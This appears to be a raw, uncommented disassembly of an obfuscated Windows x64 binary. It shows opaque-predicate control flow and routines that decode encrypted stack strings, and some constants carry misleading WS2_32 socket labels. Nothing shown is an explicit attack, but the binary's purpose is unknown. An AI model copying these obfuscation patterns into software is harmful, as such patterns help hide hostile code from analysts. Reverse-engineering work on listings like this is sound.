mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008ecff
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
cmp rbx, 4
jae 0x14008eb81
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14008eaa5
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14008e6c9
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 9
je 0x14008eba8
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x14008e9c2
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e70c
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ec3b
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x14008ec0f
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14008edaf
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008edaf
movzx r11d, r10b
lea edx, [r11 - 8]
mov ecx, 0x1c
jmp 0x14008ed5d
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008e233
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14008e233
movzx r11d, r10b
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14008ecff
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14008e8d3
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
jmp 0x14008e74a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e90d
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008e938
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
add rbx, r8
jmp 0x14008edaf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008e964
movzx r11d, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14008ed6e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008e992
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
dec r10
inc r10
jmp 0x14008e233
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008e755
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ecff
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008e9f2
movzx r11d, r10b
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ecff
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ea20
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
dec r10
inc r10
jmp 0x14008e233
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ea3f
movzx r11d, r10b
lea edx, [r11 - 0x12]
mov ecx, 0x3f
jmp 0x14008ed5d
cmp rbx, rcx
jne 0x14008ea67
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008edaf
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008e70c
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
jne 0x14008eadc
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008eb04
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14008edaf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008eb23
movzx r11d, r10b
lea edx, [r11 + 0x14]
mov ecx, 0x3a
jmp 0x14008ed5d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008eb55
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008e233
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008e6c9
movzx r11d, r10b
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14008ecff
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x160]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008ed6e
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008ec0f
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
movzx r11d, r10b
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
add r11b, 0x32
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x5e
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x160], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x160], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008edaf
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
dec r10
inc r10
jmp 0x14008e233
movzx r11d, r10b
lea edx, [r11 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ecff
movzx r11d, r10b
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
sub r11b, 0x26
movzx eax, r11b
and al, r9b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x160], cl
inc r8
dec r10
inc r10
jmp 0x14008e233
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
dec r10
inc r10
jmp 0x14008e233
movzx r11d, r10b
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 6
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x2a
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x160], r11b
add rbx, r8
jmp 0x14008edaf
lea rcx, [r10 + r15]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x6a
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008e233
lea rdx, [r10 + r12]
movzx eax, r11b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
add r10b, 0x6e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 2
jmp 0x14008e230
add r10b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14008e220
lea rcx, [rbp + 0x179fc28]
jmp 0x14008ee55
lea rcx, [rbp + 0x16ced3e]
jmp 0x14008ee55
lea rcx, [rbp + 0x160]
xor r8d, r8d
lea rdx, [0x1401fcc68]
call fcn.14003a960
test al, al
je 0x14008eeae
movss xmm0, dword [0x1401fcc68]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb18], eax
movss xmm1, dword [0x1401fcc6c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401fcb1c], eax
movss xmm0, dword [0x1401fcc70]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb20], eax
mov byte [rbp + 0x180], 0x2b
mov byte [rbp + 0x181], 0xfb
mov byte [rbp + 0x182], 0xf5
mov byte [rbp + 0x183], 0xfe
mov byte [rbp + 0x184], 0xff
mov byte [rbp + 0x185], 0xc9
mov byte [rbp + 0x186], 0xcf
mov byte [rbp + 0x187], 0xf8
mov byte [rbp + 0x188], 0xf0
mov byte [rbp + 0x189], reloc.WS2_32.dll_listen
mov byte [rbp + 0x18a], 0x21
mov byte [rbp + 0x18b], 0xfa
mov byte [rbp + 0x18c], 0xfe
mov byte [rbp + 0x18d], 0xf8
mov byte [rbp + 0x18e], 0xf6
mov byte [rbp + 0x18f], 0x57
xor eax, eax
mov dword [rbp + 0x190], eax
mov byte [rbp + 0x194], al
movabs rsi, 0x5e6c5fb988bfe751
movabs r15, 0x94f69e12bd3f5337
movabs r14, 0x1b451f2c9a3fb5f3
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x15
jae 0x14008f8b8
movzx r9d, byte [rbp + r10 + 0x180]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008f8ac
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008efb3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x37
jmp 0x14008eff0
je 0x14008f83b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f7ba
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008f787
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f765
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f71a
nop dword [rax]
cmp r8, r10
ja 0x14008f8a0
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14008f021
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
jmp 0x14008f060
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008f6fa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f6d8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008f693
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008f665
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008f282
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008f262
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008f23d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008f21b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008f1fb
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x41]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008f883
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008f866
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008f153
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008f138
lea rbx, [r8 + 6]
lea r8, [rbx + 0x61]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008f1ca
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008f1ab
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008f18c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008f16d
lea rbx, [r8 + 4]
lea r8, [rbx + 0x400]
jmp 0x14008f070
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x14008eff0
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x14008ef76
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f7a1
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f7d0
lea edx, [r10 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x16
add dil, dl
jmp 0x14008f7f8
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008f6ae
lea ecx, [r10 + 0x12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7e
dec r10
inc r10
jmp 0x14008ef63
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x14008ef63
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14008f735
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14008f345
lea edx, [r10 + 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x37
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x14008f649
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14008f464
lea edx, [r10 + 0x4d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1b
add dil, dl
cmp rbx, 0x200
jae 0x14008f621
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14008f528
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x64
jb 0x14008f611
movzx r11d, r10b
lea edx, [r11 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008f738
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f380
lea ecx, [r10 + 0x4a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 6
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f3ac
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f7d0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008f3d8
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f79e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f405
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x14008f6ae
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f437
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008ef63
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008f2ac
movzx r11d, r10b
lea edx, [r11 + 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
jmp 0x14008f735
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f491
movzx r11d, r10b
lea edx, [r11 - 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x77
jmp 0x14008f735
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f4c0
lea ecx, [r10 + 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x65
dec r10
inc r10
jmp 0x14008ef63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f4ed
movzx r11d, r10b
lea edx, [r11 - 0x2b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x2d
jmp 0x14008f6ae
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008f2e3
lea ecx, [r10 - 1]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 7
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008f563
lea ecx, [r10 - 0x6c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xc
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008f58f
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f7d0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008f5b8
lea ecx, [r10 + 0x7a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x56
jmp 0x14008f7a1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008f5e4
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008f79e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008f317
movzx r11d, r10b
lea edx, [r11 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
jmp 0x14008f735
mov byte [rbp + r10 + 0x180], dil
inc r10
jmp 0x14008ef63
movzx r11d, r10b
lea edx, [r11 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x180]
sub dil, al
sub dil, 0x58
add dil, r9b
jmp 0x14008f6ae
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008f7d0
lea ecx, [r10 + 0x57]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x61
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
movzx r11d, r10b
lea edx, [r11 + 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3b
add dil, dl
add r11b, 0x39
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x71
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x180], r11b
jmp 0x14008f79e
lea ecx, [r10 - 0x75]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x33
dec r10
inc r10
jmp 0x14008ef63
movzx r11d, r10b
lea edx, [r11 + 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xf
jmp 0x14008f735
movzx r11d, r10b
lea edx, [r11 + 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x15
add dil, dl
sub r11b, 0x69
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x21
add r11b, r9b
mov byte [rbp + r10 + 0x180], r11b
inc r8
dec r10
inc r10
jmp 0x14008ef63
lea ecx, [r10 - 0x41]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x39
dec r10
inc r10
jmp 0x14008ef63
lea ecx, [r10 + 0x7b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008ef63
lea rax, [r10 + r15]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x7f
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 3
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x180], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x34
add cl, r9b
mov byte [rbp + r10 + 0x180], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x5b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x14008ef63
add r10b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6d
jmp 0x14008ef60
add r10b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x25
jmp 0x14008ef50
lea rcx, [rbp + 0x16f6bec]
jmp 0x14008f8bf
lea rcx, [rbp + 0xef533d]
jmp 0x14008f8bf
lea rcx, [rbp + 0x180]
xor r8d, r8d
lea rdx, [0x1401fcc78]
call fcn.14003a960
test al, al
je 0x14008f918
movss xmm0, dword [0x1401fcc78]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb28], eax
movss xmm1, dword [0x1401fcc7c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401fcb2c], eax
movss xmm0, dword [0x1401fcc80]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb30], eax
mov byte [rbp + 0x1a0], 0x46
mov byte [rbp + 0x1a1], 0x54
mov byte [rbp + 0x1a2], 0x55
mov byte [rbp + 0x1a3], 0x5a
mov byte [rbp + 0x1a4], 0x46
mov byte [rbp + 0x1a5], 0x5d
mov byte [rbp + 0x1a6], 0x43
mov byte [rbp + 0x1a7], 0x87
mov byte [rbp + 0x1a8], 0x63
mov byte [rbp + 0x1a9], 0x56
mov byte [rbp + 0x1aa], 0x46
mov byte [rbp + 0x1ab], 0x48
mov byte [rbp + 0x1ac], 0x4e
mov byte [rbp + 0x1ad], 0xb9
xor eax, eax
mov dword [rbp + 0x1ae], eax
mov word [rbp + 0x1b2], ax
mov byte [rbp + 0x1b4], al
movabs r14, 0xef835fbb38f51e6
movabs r15, 0x86b9e5d95009e116
movabs r13, 0x68c979e1e8eb3d4a
movabs r12, 0x2ce8a1f31aadf5b2
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x140090501
movzx r9d, byte [rbp + r10 + 0x1a0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400904f5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008fa23
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x4a
jmp 0x14008fa70
je 0x14009047b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400903ee
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400903bb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140090373
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009034b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090301
nop word [rax + rax]
cmp r8, r10
ja 0x1400904e9
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14008faa1
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x14008faf0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400902de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400902b9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009029a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009027f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140090260
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140090233
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008ff1c
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008fef9
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008fed5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008feb0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008fe9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008fe80
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008fe61
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008fe46
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400904c9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400904ac
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008fc84
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008fc65
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008fc4a
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008fdef
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008fd7a
lea rbx, [r8 + 4]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008fd49
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008fd2a
lea rax, [r8 + 2]
cmp rbx, rax
